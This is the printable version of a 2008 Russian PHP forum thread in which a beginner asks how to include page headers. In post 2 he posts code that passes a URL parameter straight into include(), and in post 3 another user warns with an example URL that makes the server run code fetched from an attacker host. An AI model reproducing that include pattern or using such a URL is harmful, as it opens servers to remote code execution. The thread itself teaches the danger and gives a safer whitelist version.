Strict Standards: Resource ID#35 used as offset, casting to integer (35) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#37 used as offset, casting to integer (37) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#38 used as offset, casting to integer (38) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401
ТвойWeb :: Версия для печати :: Простейший движок
ТвойWeb » WebMaster класс » PHP/Perl » Простейший движок

Страниц (1): [1]
 

1. Vladimir - 27 Января, 2008 - 06:13:21 - перейти к сообщению
У меня сайт со статическим контентом. Схема страницы:

Цитата:
<html>
<head>
<title>Заголовок</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">
<meta content="Ключевые слова" name=keywords>
<meta content="Ключевые фразы" name=description>
<link rel="stylesheet" href="таблица_стилей.css" type="text/css">
</head>
<body>
<script language=JavaScript src="верх.js"></script>

КОНТЕНТ

<script language=JavaScript src="низ.js"></script>
</body>
</html>


То есть, верхняя и нижняя части страниц управляются через файлы яваскриптов.

Подскажите, как сделать так (на php), чтобы при обращении к странице, в тех местах, где сейчас js, вставлялся контент из указанных файлов?

P.S. PHP только начинаю изучать.
2. Vladimir - 27 Января, 2008 - 06:24:26 - перейти к сообщению
Кажется, уже всё нашёл, заодно и понял суть.

Цитата:
<html>
<head>
<title>Название страницы</title>
</head>
<body>

<?php
$go = $_GET['include'];
if (!empty($include)) {
include($include);
}
else {
include('1.htm'Подмигивание;
}
?>

Контент

<?php
$go = $_GET['include'];
if (!empty($include)) {
include($include);
}
else {
include('1.htm'Подмигивание;
}
?>
</body>
</html>


Правильно тут всё?
3. Furax - 27 Января, 2008 - 07:58:54 - перейти к сообщению
Vladimir
Никогда так не делай! Таким образом можно выполнить любой сторонний скрипт на твоём сервере, например, обратившись к твоей странице так:
http://yoursite.ru/page.php?incl...r.com/mycode.php
Код, который вернёт http://xaker.com/mycode.php, будет выполнен на твоём сервере. Оно тебе надо?
4. awep - 27 Января, 2008 - 09:19:34 - перейти к сообщению
да, это очень опасный код.
в твоем случае буде проще использовать цифры(это наипростейший вариант), т.е.
CODE:
$page = $_GET['page'];
$inc = 1;
if (is_numeric($_GET['page'])
{
$num = intval($_GET['page']);
if(file_exists($num.'.html')) $inc = $num;
}
include($inc.'.html');
5. Vladimir - 31 Января, 2008 - 09:24:15 - перейти к сообщению
Спасибо за совет!

Только вот поздновато зашёл и уже залил достаточно много файлов(
Можно ли теперь их обработать с помощью скрипта прямо на сервере, чтобы не перезакачивать?

Положить файл со скриптом в нужную папку, чтобы он всё там обработал (или указать ему, какие файлы обрабатывать):
<тег1>
<тег2>
Заменить на <тег3>
6. Vladimir - 31 Января, 2008 - 13:29:37 - перейти к сообщению
awep пишет:
да, это очень опасный код.
в твоем случае буде проще использовать цифры(это наипростейший вариант), т.е.

А если совсем просто сделать:
CODE:
<?php include('название_файла.php'); ?>
7. Furax - 31 Января, 2008 - 23:05:27 - перейти к сообщению
Vladimir
Это абсолютно безопасно, при условии, что название_файла не является переменной. Единственное, за чем надо следить - это за тем, чтобы при открытии файла 'название_файла.php' (а не главного файла) не высвечивались какие-либо нежелательные данные (пароли, etc.).
8. Vladimir - 01 Февраля, 2008 - 03:53:04 - перейти к сообщению
А если я в код страницы поставлю три инклуда, нормально будет работать?
Я имю ввиду, не будет ли возникать ошибок?
9. Furax - 01 Февраля, 2008 - 05:56:40 - перейти к сообщению
Да хоть 100. Если только на сервере нет ограничений, но вряд ли кто поставит ограничение меньше пятидесяти.
10. defenderyk - 01 Февраля, 2008 - 06:03:21 - перейти к сообщению
Если правильно вставишь, то нет!

Форум на AlfaSpace.NET


Powered by ExBB
ExBB FM 1.0 RC1 by TvoyWeb.ru
InvisionExBB Style converted by Markus®

[Script Execution time: 0.044]     [ Gzipped ]



Notice: ob_end_flush(): failed to send buffer of ob_gzhandler (1) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/page_tail.php on line 33